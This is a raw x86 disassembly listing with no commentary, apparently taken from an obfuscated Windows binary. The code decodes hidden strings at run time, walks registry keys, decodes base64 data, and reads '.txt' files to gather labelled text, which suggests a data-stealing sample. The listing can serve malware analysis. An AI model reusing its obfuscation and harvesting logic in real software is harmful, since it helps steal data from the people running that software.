jmp dword [eax*4 + 0x440b5c]
lea eax, [esp + 0x20]
lea ecx, [esp + 8]
push 0
push 0
push 0
push 0
push eax
push ecx
push 0
push 0
push dword [esp + 0x2c]
call fcn.0043a440
add esp, 0x24
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x440b64]
jmp 0x422ced
mov ecx, 4
xor ebx, ebx
cmp ecx, 4
setb bl
mov eax, 0x20119
xor edx, edx
jmp dword [ebx*4 + 0x440bac]
mov eax, dword [esp + 8]
mov ecx, eax
shl ecx, 9
lea eax, [ecx + eax*8]
add eax, edi
push eax
push dword [esp + 4]
call fcn.00437da0
add esp, 8
mov dword [esp], eax
lea ebp, [eax + edi*2]
xor esi, esi
xor eax, eax
cmp esi, dword [esp + 8]
setb al
jmp dword [eax*4 + 0x440b6c]
inc esi
xor eax, eax
cmp esi, dword [esp + 8]
setb al
jmp dword [eax*4 + 0x440b6c]
mov ebx, dword [esp + 0x20]
mov eax, ebx
inc eax
lea eax, [ebx + ebx + 2]
jns 0x422b03
mov eax, 0xffffffff
push eax
call fcn.004082f0
add esp, 4
mov edi, eax
mov dword [esp + 0x1c], ebx
lea eax, [esp + 0x1c]
push eax
push edi
push esi
push dword [esp + 0x18]
call fcn.0043a250
add esp, 0x10
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x440b74]
jmp dword [0x440b8c]
lea eax, [esp + 0x10]
push dword [esp + 0xc]
push 0
push 0x20019
push eax
push edi
call fcn.0043a180
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x440b7c]
jmp dword [0x440b8c]
mov dword [esp + 4], edi
mov dword [esp + 0x18], 0x800
mov dword [esp + 0x24], 0x44ba4285
mov dword [esp + 0x28], 0x58b746b6
mov dword [esp + 0x2c], 0x5cba5aa5
mov dword [esp + 0x30], 0x50815ed4
mov dword [esp + 0x34], 0x54ae52b0
mov dword [esp + 0x38], 0x685756b0
mov edi, 0x624d7a9b
mov ecx, 0x9db28564
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + edi - 0x624d7a77]
mov ebx, ecx
and ebx, 0x8db08112
mov eax, edi
and eax, 0x6241222d
sub eax, ebx
xor eax, edx
add eax, 0x5b7af7b7
mov edx, eax
and edx, 1
xor eax, 1
lea eax, [eax + edx*2]
mov byte [esp + edi - 0x624d7a77], al
inc edi
dec ecx
cmp edi, 0x624d7ab3
jne 0x422bc0
lea eax, [esp + 0x18]
lea ecx, [esp + 0x24]
push eax
lea eax, [esp + 0x40]
push eax
push 0
push ecx
push dword [esp + 0x20]
call fcn.0043a910
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x440b84]
mov edi, dword [esp + 4]
jmp 0x422c5b
movzx eax, word [esp + 0x3c]
test ax, ax
mov edi, dword [esp + 4]
je 0x422c52
lea ecx, [esp + 0x3e]
nop
nop
nop
mov word [ebp], ax
add ebp, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x422c40
mov word [ebp], 0xa
add ebp, 2
mov ecx, dword [0x445bb0]
test ecx, ecx
je 0x422cc0
mov eax, dword [esp + 0x10]
xor edx, edx
mov ebx, dword [0x445bb4]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + edx*8], 0xb430e561
je 0x422c90
inc edx
cmp ecx, edx
jne 0x422c80
jmp 0x422cc0
mov ecx, dword [ebx + edx*8 + 4]
cmp ecx, 0xffffffff
je 0x422cc0
push eax
push 4
push ecx
push dword [0x445bb8]
call fcn.00437e00
add esp, 0x10
jmp dword [0x440b8c]
jmp dword [0x440b8c]
push edi
call fcn.00408300
add esp, 4
inc esi
xor eax, eax
cmp esi, dword [esp + 8]
setb al
jmp dword [eax*4 + 0x440b6c]
mov word [ebp], 0
mov edi, ebp
sub edi, dword [esp]
sar edi, 1
mov ecx, dword [0x445bb0]
test ecx, ecx
je case.default.0x422d5f
mov eax, dword [esp + 0xc]
xor edx, edx
mov esi, dword [0x445bb4]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [esi + edx*8], 0xb430e561
je 0x422d20
inc edx
cmp ecx, edx
jne 0x422d10
jmp case.default.0x422d5f
mov ecx, dword [esi + edx*8 + 4]
cmp ecx, 0xffffffff
je case.default.0x422d5f
push eax
push 4
push ecx
push dword [0x445bb8]
call fcn.00437e00
add esp, 0x10
nop
nop
nop
nop
nop
lea eax, [esp + 0x3c]
push eax
call fcn.00439a80
add esp, 4
cmp dword [esp + 0x3c], 1
sete cl
and cl, al
movzx eax, cl
mov ecx, 2
jmp dword [eax*4 + 0x440b94]
xor ecx, ecx
jmp dword [0x440ba4]
xor ebx, ebx
cmp ecx, 4
setb bl
mov eax, 0x20119
xor edx, edx
jmp dword [ebx*4 + 0x440bac]
inc ebx
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x422dcb
cmp cx, 0x7f
jbe 0x422d90
movzx edx, cx
cmp edx, 0x7ff
ja 0x422dc0
add ebx, 2
jmp 0x422d91
cmp cx, 0xffff
je 0x422d91
add ebx, 3
jmp 0x422d91
mov esi, ebx
and esi, 1
mov dword [esp + 0x14], ebx
xor ebx, 1
lea eax, [ebx + esi*2]
push eax
call fcn.004082f0
add esp, 4
mov edx, eax
mov eax, dword [esp]
movzx ecx, word [eax]
mov dword [esp + 4], edx
test cx, cx
je 0x422f18
lea eax, [ebx + esi*2]
dec eax
mov edx, dword [esp + 4]
test eax, eax
je 0x422f18
mov esi, dword [esp]
mov edx, dword [esp + 4]
nop
movzx ecx, cx
lea edi, [esi + 2]
cmp cx, 0x7f
ja 0x422e30
lea ebp, [edx + 1]
mov byte [edx], cl
jmp 0x422ec0
cmp ecx, 0x7ff
ja 0x422e60
cmp eax, 2
jb 0x422e60
mov ebx, ecx
shr ebx, 6
add bl, 0xc0
mov byte [edx], bl
and cl, 0x3f
or cl, 0x80
lea ebp, [edx + 2]
mov byte [edx + 1], cl
jmp 0x422ec0
mov ebp, ecx
and ebp, 0xfc00
cmp ebp, 0xd800
jne 0x422eda
cmp eax, 4
jb 0x422eda
movzx edi, word [esi + 2]
add esi, 4
shl ecx, 0xa
lea ebx, [ecx + edi]
add ebx, 0xfca02400
mov ecx, ebx
shr ecx, 0x12
add cl, 0xf0
mov byte [edx], cl
mov ecx, ebx
shr ecx, 0xc
and cl, 0x3f
or cl, 0x80
mov byte [edx + 1], cl
shr ebx, 6
and bl, 0x3f
or bl, 0x80
mov byte [edx + 2], bl
mov ecx, edi
and cl, 0x3f
or cl, 0x80
lea ebp, [edx + 4]
mov byte [edx + 3], cl
mov edi, esi
nop
nop
nop
nop
add eax, edx
sub eax, ebp
mov esi, edi
mov edx, ebp
movzx ecx, word [esi]
test cx, cx
je 0x422f18
test eax, eax
jne 0x422e10
jmp 0x422f18
movzx esi, bp
cmp esi, 0xdc00
jne 0x422ee9
mov esi, edi
jmp 0x422ec8
cmp eax, 3
jb 0x422f14
mov ebx, ecx
shr ebx, 0xc
or bl, 0xe0
mov byte [edx], bl
mov ebx, ecx
shr ebx, 6
and bl, 0x3f
or bl, 0x80
mov byte [edx + 1], bl
and cl, 0x3f
or cl, 0x80
lea ebp, [edx + 3]
mov byte [edx + 2], cl
jmp 0x422ec0
mov ebp, edx
jmp 0x422ec0
mov ecx, dword [esp + 0x850]
mov byte [edx], 0
mov dword [esp + 0x3c], 0xc3d0da27
mov dword [esp + 0x40], 0xdec8d8cf
mov dword [esp + 0x44], 0xcbc6c912
mov byte [esp + 0x48], 0x40
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, eax
add dl, 0xd4
xor dl, byte [esp + eax + 0x3c]
add dl, 0x60
mov byte [esp + eax + 0x3c], dl
inc eax
cmp eax, 0xd
jne 0x422f50
lea eax, [esp + 0x3c]
push dword [esp + 0x14]
mov esi, dword [esp + 8]
push esi
push eax
call fcn.00409410
mov ebx, eax
jmp dword [0x440bc4]
push esi
call fcn.00408300
add esp, 4
mov eax, dword [case.0x422d5f.10]
nop
jmp eax
push dword [esp]
call fcn.004369f0
add esp, 4
mov eax, ebx
add esp, 0x83c
pop esi
pop edi
pop ebx
pop ebp
ret
int3
xor ebx, ebx
jmp 0x423961
mov dword [esp + 0x4c], 0x5a734855
mov dword [esp + 0x50], 0x405a7d50
mov dword [esp + 0x54], 0x5c555371
mov dword [esp + 0x58], 0x674e5675
mov dword [esp + 0x5c], 0x300b0216
mov dword [esp + 0x60], 0x2f0c060d
mov dword [esp + 0x64], 0x22290e2a
mov dword [esp + 0x68], 0x260f2403
mov dword [esp + 0x6c], 0x16000602
mov dword [esp + 0x70], 0x3e136501
mov dword [esp + 0x74], 0x5b6a1111
mov eax, 0x6d3b5db0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x6d3b5d64]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0x80
mov byte [esp + eax - 0x6d3b5d64], cl
inc eax
cmp eax, 0x6d3b5ddc
jne 0x423490
lea eax, [esp + 0x40]
lea ecx, [esp + 0x30]
push 0
push 0x2b
push ebp
push eax
call fcn.00436f10
mov edi, dword [esp + 0x40]
mov esi, dword [esp + 0x44]
xor eax, eax
cmp edi, esi
sete al
mov dword [esp + 0x1c], esi
jmp dword [eax*4 + 0x440be4]
mov eax, esi
sub eax, edi
sar eax, 2
imul eax, eax, 0x421
push eax
call fcn.004082f0
add esp, 4
jmp dword [0x440bf4]
mov dword [esp + 0x18], 0
lea ecx, [esp + 0x4d]
mov dword [esp + 0x24], ecx
xor ecx, ecx
cmp edi, esi
setne cl
mov dword [esp + 0x14], eax
mov dword [esp + 4], eax
jmp dword [ecx*4 + 0x440bfc]
add edi, 4
xor eax, eax
mov esi, dword [esp + 0x1c]
cmp edi, esi
setne al
jmp dword [eax*4 + 0x440bfc]
mov esi, dword [edi]
push 0x400
push 0
push ebp
call fcn.00408490
add esp, 0xc
lea eax, [esp + 0x10]
lea ecx, [esp + 0x30]
push eax
push 0x400
push ebp
push esi
call fcn.00436ea0
cmp eax, 0xc0000000
setae al
cmp dword [esp + 0x10], 0
sete cl
or cl, al
movzx eax, cl
jmp dword [eax*4 + 0x440c0c]
mov eax, 1
jmp dword [eax*4 + 0x440c14]
xor eax, eax
jmp dword [eax*4 + 0x440c14]
mov byte [esp + 0x44b], 0
movzx eax, byte [esp + 0x4c]
xor esi, esi
test al, al
je 0x4235e1
mov ecx, ebp
nop
nop
cmp al, 0x2e
je 0x4235df
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x4235d0
jmp 0x4235e1
mov esi, ecx
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x440c1c]
movzx eax, byte [esi + 1]
inc esi
mov ecx, dword [case.0x4235e8.4]
mov dword [esp + 0x20], esi
jmp case.0x4235e8.2
jmp ecx
xor ebx, ebx
test al, al
je 0x423600
mov ah, al
mov edx, esi
nop
nop
nop
nop
cmp ah, 0x2e
je 0x423620
mov ah, byte [edx + 1]
inc edx
test ah, ah
jne 0x423610
jmp 0x423600
mov ebx, edx
jmp ecx
xor eax, eax
test ebx, ebx
setne al
jmp dword [eax*4 + 0x440c34]
mov edx, ebx
sub edx, esi
lea ebp, [edx + edx*2]
shr ebp, 2
mov eax, edx
xor eax, 1
mov ecx, edx
and ecx, 0xfffffffe
add ecx, ecx
sub ecx, eax
movzx eax, byte [esi + ecx]
cmp eax, 0x3d
je 0x423658
cmp eax, 0x2e
jne 0x423659
dec ebp
movzx eax, byte [esi + edx - 2]
cmp eax, 0x3d
mov dword [esp + 0xc], edx
mov dword [esp + 0x2c], edi
je 0x423670
cmp eax, 0x2e
jne 0x423671
dec ebp
mov dword [esp + 0x28], ebp
lea eax, [ebp + 1]
push eax
call fcn.004082f0
add esp, 4
mov dword [esp + 8], eax
cmp ebx, esi
mov ebx, dword [esp + 0xc]
je 0x423785
xor edi, edi
mov ebp, 2
jmp 0x4236ba
mov edx, ebx
lea eax, [ebp + 4]
add ebp, 2
mov edi, esi
cmp ebp, edx
mov ebp, eax
mov esi, dword [esp + 0x20]
mov ebx, edx
jae 0x423785
movzx eax, byte [esi + ebp - 2]
push eax
call fcn.0041ad80
add esp, 4
mov byte [esp + 2], al
movzx eax, byte [esi + ebp - 1]
push eax
call fcn.0041ad80
add esp, 4
mov byte [esp + 3], al
movzx eax, al
mov ecx, eax
not ecx
or ecx, 0x30
add eax, ecx
inc eax
movzx ecx, byte [esp + 2]
shr eax, 4
lea eax, [eax + ecx*4]
mov ecx, dword [esp + 8]
mov byte [ecx + edi], al
mov eax, esi
lea esi, [edi + 1]
cmp ebp, ebx
jae 0x4236a0
movzx eax, byte [eax + ebp]
push eax
call fcn.0041ad80
mov edx, dword [esp + 0x10]
add esp, 4
cmp al, 0x40
je 0x4236a2
mov ah, byte [esp + 3]
shl ah, 4
mov ecx, eax
shr cl, 2
and cl, 0xf
or cl, ah
lea ebx, [edi + 2]
mov esi, dword [esp + 8]
mov byte [esi + edi + 1], cl
lea ecx, [ebp + 1]
cmp ecx, edx
jae 0x42377e
mov ecx, dword [esp + 0x20]
movzx ecx, byte [ecx + ebp + 1]
push ecx
mov byte [esp + 6], al
call fcn.0041ad80
mov edx, dword [esp + 0x10]
add esp, 4
movzx ecx, byte [esp + 2]
cmp al, 0x40
mov esi, ebx
je 0x4236a2
shl cl, 6
add al, cl
mov ecx, dword [esp + 8]
mov byte [ecx + edi + 2], al
add edi, 3
mov esi, edi
jmp 0x4236a2
mov esi, ebx
jmp 0x4236a2
mov eax, dword [esp + 0x28]
mov esi, dword [esp + 8]
mov byte [esi + eax], 0
push esi
call fcn.00401000
add esp, 4
mov ebx, eax
jmp dword [0x440c3c]
push esi
call fcn.00408300
add esp, 4
push ebx
call fcn.00401a70
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
lea ebp, [esp + 0x4c]
mov edi, dword [esp + 0x2c]
jmp dword [ecx*4 + 0x440c44]
jmp 0x423859
mov dword [esp + 0x10], 0x627573
lea ecx, [esp + 0x10]
push ecx
push eax
call fcn.00401880
add esp, 8
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x440c4c]
mov edx, dword [esp + 4]
jmp 0x423826
movzx ecx, byte [eax]
test cl, cl
mov edx, dword [esp + 4]
je 0x42381b
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], cl
inc edx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x423810
mov byte [edx], 0
mov word [edx], 0x203a
add edx, 2
movzx eax, byte [esp + 0x4c]
test al, al
je 0x42384b
mov ecx, dword [esp + 0x24]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x423840
mov byte [edx], 0xa
inc edx
mov dword [esp + 4], edx
mov al, 1
mov dword [esp + 0x18], eax
push ebx
call fcn.00401f80
add esp, 4
add edi, 4
xor eax, eax
mov esi, dword [esp + 0x1c]
cmp edi, esi
setne al
jmp dword [eax*4 + 0x440bfc]
mov ebx, dword [esp + 0x18]
mov eax, ebx
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x440c04]
jmp dword [0x440c54]
xor ebx, ebx
test edi, edi
jne 0x423954
jmp 0x423961
mov eax, dword [esp + 4]
mov byte [eax], 0
mov dword [esp + 0x4c], 0xf6f9f8b6
mov dword [esp + 0x50], 0xfacccff2
mov dword [esp + 0x54], 0xf1fffff6
mov dword [esp + 0x58], 0xc3f1d7bc
mov dword [esp + 0x5c], 0xee86c5c6
mov dword [esp + 0x60], 0xc0f8c7c4
mov dword [esp + 0x64], 0xdac58ecc
mov word [esp + 0x68], 0x54c7
mov ecx, 0x5eb2c60f
mov eax, dword [esp + 0x14]
nop
nop
nop
movzx edx, byte [esp + ecx - 0x5eb2c5c3]
mov ebx, edx
and ebx, ecx
add bl, bl
sub dl, bl
movzx edx, dl
add edx, ecx
add dl, 0x88
mov byte [esp + ecx - 0x5eb2c5c3], dl
inc ecx
cmp ecx, 0x5eb2c62d
jne 0x4238f0
mov esi, dword [esp + 4]
sub esi, eax
lea edx, [esp + 0x4c]
mov ecx, dword [esp + 0x460]
push esi
push eax
push edx
call fcn.00409410
mov ebx, eax
jmp dword [0x440c54]
push dword [esp + 0x14]
call fcn.00408300
add esp, 4
and bl, 1
mov edi, dword [esp + 0x40]
mov esi, dword [esp + 0x44]
test edi, edi
je 0x423961
cmp edi, esi
je 0x423961
push edi
call fcn.00408300
add esp, 4
lea ecx, [esp + 0x30]
call fcn.00436c90
mov eax, ebx
add esp, 0x44c
pop esi
pop edi
pop ebx
pop ebp
ret
test ebp, ebp
je case.0x422d5f.155
cmp ebp, ebx
je case.0x422d5f.155
mov esi, ebp
jmp 0x4241d7
add esi, 8
cmp esi, ebx
je 0x4241e8
mov eax, dword [esi]
test eax, eax
je 0x4241d0
push eax
call fcn.00408300
add esp, 4
jmp 0x4241d0
push ebp
call fcn.00408300
add esp, 4
xor ebx, ebx
xor ebp, ebp
jmp case.0x422d5f.155
push dword [esp + 0x20]
mov esi, eax
call fcn.00408300
add esp, 4
mov eax, esi
mov ecx, esi
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x440dec]
mov edx, dword [esp + 8]
mov byte [edx], 0
mov dword [esp + 0x3c], 0x5b4645b5
mov dword [esp + 0x40], 0x4f5b5a51
mov dword [esp + 0x44], 0x4c505255
mov dword [esp + 0x48], 0x667692af
mov dword [esp + 0x4c], 0x93a96865
mov dword [esp + 0x50], 0x656f6267
mov dword [esp + 0x54], 0x777aa37f
mov word [esp + 0x58], 0xd164
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x54
xor cl, byte [esp + eax + 0x3c]
add cl, 0x60
mov byte [esp + eax + 0x3c], cl
inc eax
cmp eax, 0x1e
jne 0x4242d0
sub edx, edi
lea eax, [esp + 0x3c]
mov ecx, dword [esp + 0xf8]
push edx
push edi
push eax
call fcn.00409410
jmp dword [0x440df4]
push edi
mov esi, eax
call fcn.00408300
add esp, 4
mov eax, esi
and al, 1
mov dword [esp], eax
jmp dword [0x440e00]
mov dword [esp + 8], edx
mov esi, dword [esp + 0xc8]
mov ecx, esi
call fcn.00426d10
push esi
call fcn.00408300
add esp, 4
jmp dword [0x440ddc]
push dword [esp + 0x30]
call fcn.00408300
add esp, 4
mov ecx, eax
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x440dec]
mov eax, ecx
jmp dword [0x440df4]
and al, 1
mov dword [esp], eax
jmp dword [0x440e00]
push ebp
call fcn.00408300
add esp, 4
xor ebx, ebx
xor ebp, ebp
jmp dword [0x440e04]
test ebp, ebp
je 0x4248bd
cmp ebp, ebx
je 0x4248bd
mov esi, ebp
jmp 0x4248d7
add esi, 8
cmp esi, ebx
je 0x4248b0
mov eax, dword [esi]
test eax, eax
je 0x4248d0
push eax
call fcn.00408300
add esp, 4
jmp 0x4248d0
push dword [esp + 0x28]
call fcn.00408300
add esp, 4
mov eax, dword [case.0x4240f4.538352990]
mov edx, dword [esp + 8]
mov esi, dword [esp + 0x2c]
jmp eax
jmp dword [0x440fe8]
lea edi, [esi + 0xa]
movzx eax, byte [esi + 0xa]
xor edx, edx
test al, al
je 0x426120
mov ecx, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp al, 0x22
je 0x426150
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x426140
jmp 0x426120
mov edx, ecx
jmp dword [0x440fe8]
mov ecx, edx
sub ecx, edi
xor eax, eax
cmp ecx, 5
setb al
jmp dword [eax*4 + 0x440fec]
xor eax, eax
cmp byte [edx - 1], 0x74
setne al
jmp dword [eax*4 + 0x440ff4]
xor eax, eax
cmp byte [edx - 2], 0x78
setne al
jmp dword [eax*4 + 0x440ffc]
xor eax, eax
cmp byte [edx - 3], 0x74
setne al
jmp dword [eax*4 + 0x441004]
xor eax, eax
cmp byte [edx - 4], 0x2e
setne al
jmp dword [eax*4 + 0x44100c]
mov eax, ecx
inc eax
mov dword [ebp - 0x14], eax
jns 0x4261c0
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x20], edx
mov eax, 0xffffffff
jmp 0x4261cd
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x18], ecx
lea eax, [ecx*2 + 2]
push eax
call fcn.004082f0
add esp, 4
mov ebx, eax
push dword [ebp - 0x20]
push edi
push dword [ebp - 0x14]
push eax
call fcn.0040ab20
add esp, 0x10
push 0x60
push 3
push 0x120089
push dword [ebp - 0x28]
mov dword [ebp - 0x14], ebx
push ebx
call fcn.00439c50
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x441014]
mov eax, dword [ebp - 0x20]
mov edi, eax
mov ebx, dword [ebp - 0x3c]
jmp dword [0x441064]
push dword [ebp - 0x14]
mov edi, eax
call fcn.00408300
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [case.0x422d5f.270]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
push 0
mov ebx, dword [ebp - 0x34]
push ebx
mov eax, dword [ebp - 0x28]
push dword [eax]
call fcn.00439f10
add esp, 0xc
test eax, eax
setns al
mov edx, dword [ebx]
cmp edx, 0x100000
setb cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44101c]
mov dword [ebp - 0x1c], edx
jmp dword [0x441028]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
jmp 0x42647e
xor ecx, ecx
mov edx, dword [ebp - 0x14]
jmp dword [0x44103c]
mov eax, dword [ebp - 0x14]
cmp word [eax], 0
lea eax, [eax + 2]
jne 0x426293
mov edx, dword [ebp - 0x14]
jmp case.0x422d5f.298
add edx, 2
test bx, bx
je 0x4262c9
mov eax, ecx
movzx ebx, word [edx]
mov ecx, edx
cmp bx, 0x5c
je 0x4262b0
mov ecx, eax
jmp 0x4262b0
mov edx, dword [ebp - 0x14]
xor ecx, ecx
jmp dword [0x441048]
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44104c]
mov dword [ebp - 0x2c], 0
xor eax, eax
jmp 0x4262fd
sub eax, dword [ebp - 0x14]
sar eax, 1
lea ecx, [eax + 1]
mov dword [ebp - 0x2c], ecx
not eax
add eax, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x44]
add eax, 0x1b
push eax
call fcn.004082f0
add esp, 4
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x2c]
mov dword [ebp - 0x18], eax
mov dword [ebx], 0xaa54ae8b
mov dword [ebx + 4], 0xa7a95354
mov dword [ebx + 8], 0xa48aeb5e
mov dword [ebx + 0xc], 0xde63aaa2
mov dword [ebx + 0x10], 0x90609cbc
mov dword [ebx + 0x14], 0xd29c9666
mov word [ebx + 0x18], 0xd4d1
mov byte [ebx + 0x1a], 0xfc
mov eax, 0x6d650a52
movzx ecx, byte [ebx + eax - 0x6d650a52]
mov edx, ecx
not edx
or edx, eax
add dl, dl
add dl, cl
neg dl
movzx ecx, dl
add ecx, eax
add cl, 0x6e
mov byte [ebx + eax - 0x6d650a52], cl
inc eax
cmp eax, 0x6d650a6d
jne 0x426350
movzx ecx, byte [ebx]
mov eax, dword [ebp - 0x1c]
test cl, cl
mov edx, dword [ebp - 0x38]
je 0x426396
mov eax, dword [ebp - 0x1c]
mov byte [eax], cl
inc eax
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x42638b
mov byte [eax], 0
mov edx, dword [ebp - 0x18]
test edx, edx
mov ebx, dword [ebp - 0x10]
je 0x4263c7
add edi, dword [ebp - 0x2c]
and edx, 3
je 0x4263cb
xor ecx, ecx
movzx ebx, byte [edi]
cmp bl, 1
sbb edi, 0xffffffff
mov byte [eax + ecx], bl
inc ecx
cmp edx, ecx
jne 0x4263ad
add eax, ecx
sub dword [ebp - 0x18], ecx
mov ecx, eax
jmp 0x4263ce
mov ecx, eax
jmp 0x42641f
mov dword [ebp - 0x10], ebx
mov ebx, dword [ebp - 0x2c]
add ebx, esi
mov edx, dword [ebp - 0x20]
sub edx, ebx
add edx, 0xfffffff5
cmp edx, 3
mov esi, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x10]
jb 0x42641f
movzx ecx, byte [edi]
cmp cl, 1
sbb edi, 0xffffffff
mov byte [eax], cl
movzx ecx, byte [edi]
cmp cl, 1
sbb edi, 0xffffffff
mov byte [eax + 1], cl
movzx ecx, byte [edi]
cmp cl, 1
sbb edi, 0xffffffff
mov byte [eax + 2], cl
movzx edx, byte [edi]
cmp dl, 1
sbb edi, 0xffffffff
lea ecx, [eax + 4]
mov byte [eax + 3], dl
mov eax, ecx
add esi, 0xfffffffc
jne 0x4263e6
mov byte [ecx], 0
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x34]
push dword [eax]
push dword [ebp - 0x24]
mov esi, dword [ebp - 0x1c]
push esi
call fcn.00409410
and bl, 1
or bl, al
mov dword [ebp - 0x10], ebx
jmp dword [0x441054]
push esi
call fcn.00408300
add esp, 4
jmp dword [0x44105c]
mov ebx, dword [ebp - 0x1c]
push ebx
call fcn.004082f0
add esp, 4
push 0
mov ecx, dword [ebp - 0x34]
push dword [ecx]
push eax
mov eax, dword [ebp - 0x28]
push dword [eax]
call fcn.00439fa0
add esp, 0x10
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov eax, ebx
push eax
call fcn.004082f0
add esp, 4
mov ebx, eax
push 0
push dword [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x28]
push dword [eax]
call fcn.00439fa0
add esp, 0x10
jmp dword [0x44102c]
mov dword [ebp - 0x24], ebx
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x441034]
jmp dword [0x44105c]
push dword [ebp - 0x24]
call fcn.00408300
add esp, 4
mov ecx, dword [0x445bb0]
test ecx, ecx
mov ebx, dword [ebp - 0x3c]
je 0x42651c
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
xor edx, edx
mov esi, dword [0x445bb4]
cmp dword [esi + edx*8], 0xb430e561
je 0x4264f6
mov edi, edx
xor edi, 1
and edx, 1
lea edx, [edi + edx*2]
cmp edx, ecx
jb 0x4264dc
jmp 0x42651c
mov ecx, dword [esi + edx*8 + 4]
cmp ecx, 0xffffffff
je 0x42651c
push eax
push 4
push ecx
push dword [0x445bb8]
call fcn.00437e00
add esp, 0x10
mov eax, dword [ebp - 0x20]
mov edi, eax
jmp dword [0x441064]
mov eax, dword [ebp - 0x20]
mov edi, eax
jmp dword [0x441064]
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x38], eax
mov dword [ebx], 0xc5d3d7cb
mov dword [ebx + 4], 0xc1dec3df
mov word [ebx + 8], 0x428
mov byte [ebx + 0xa], 0x67
mov eax, 0x66b6d0e5
mov ecx, 0xcd6da1ca
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, ecx
and esi, 0x8a
mov edx, eax
xor edx, 0x45
add edx, esi
add dl, 0x1b
xor dl, byte [ebx + eax - 0x66b6d0e5]
add dl, 0xd8
mov byte [ebx + eax - 0x66b6d0e5], dl
inc eax
add ecx, 2
cmp eax, 0x66b6d0f0
jne 0x426560
movzx ecx, byte [ebx]
test cl, cl
je 0x4265c0
mov eax, ebx
mov esi, edi
jmp 0x4265ac
inc esi
mov edi, esi
mov eax, ebx
movzx ecx, byte [eax]
test cl, cl
je 0x4265d2
movzx edx, byte [edi]
test dl, dl
je 0x4265d0
cmp dl, cl
jne 0x4265a0
inc edi
inc eax
jmp 0x4265a5
mov esi, edi
jmp 0x4265d2
xor esi, esi
xor eax, eax
test esi, esi
sete al
jmp dword [eax*4 + 0x440fd4]
mov edi, dword [edi]
test edi, edi
jns 0x4265ed
mov eax, 0xffffffff
jmp 0x4265f0
lea eax, [edi + edi]
mov ebx, dword [ebp - 0x3c]
push eax
call fcn.004082f0
add esp, 4
push dword [ebp - 0x10]
push edi
mov dword [ebp - 0x30], eax
push eax
push 0x1f
push esi
push 0
call dword [0x445bac]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x440f6c]
xor ebx, ebx
xor eax, eax
mov esi, dword [ebp - 0x30]
jmp dword [0x440f74]
mov edi, dword [ebp - 0x48]
mov esi, dword [ebp - 0x30]
jmp dword [0x440f80]
push 0
push esi
push dword [edi]
call fcn.00439f10
add esp, 0xc
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0
push esi
push dword [edi]
call fcn.00439f10
add esp, 0xc
jmp dword [0x440fa0]
not eax
shr eax, 0x1f
mov dword [ebp - 0x10], 0
jmp dword [eax*4 + 0x440fa4]
mov esi, dword [esi]
lea eax, [esi + 1]
push eax
call fcn.004082f0
add esp, 4
push 0
push esi
mov dword [ebp - 0x40], eax
push eax
push dword [edi]
call fcn.00439fa0
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [ebp - 0x10], 0
jmp dword [eax*4 + 0x440fbc]
mov edi, dword [ebp - 0x48]
jmp dword [0x44108c]
push dword [ebp - 0x40]
call fcn.00408300
add esp, 4
mov ecx, dword [0x445bb0]
test ecx, ecx
mov ebx, dword [ebp - 0x10]
je 0x426723
mov eax, dword [edi]
xor edx, edx
mov esi, dword [0x445bb4]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [esi + edx*8], 0xb430e561
je 0x4266fa
mov edi, edx
xor edi, 1
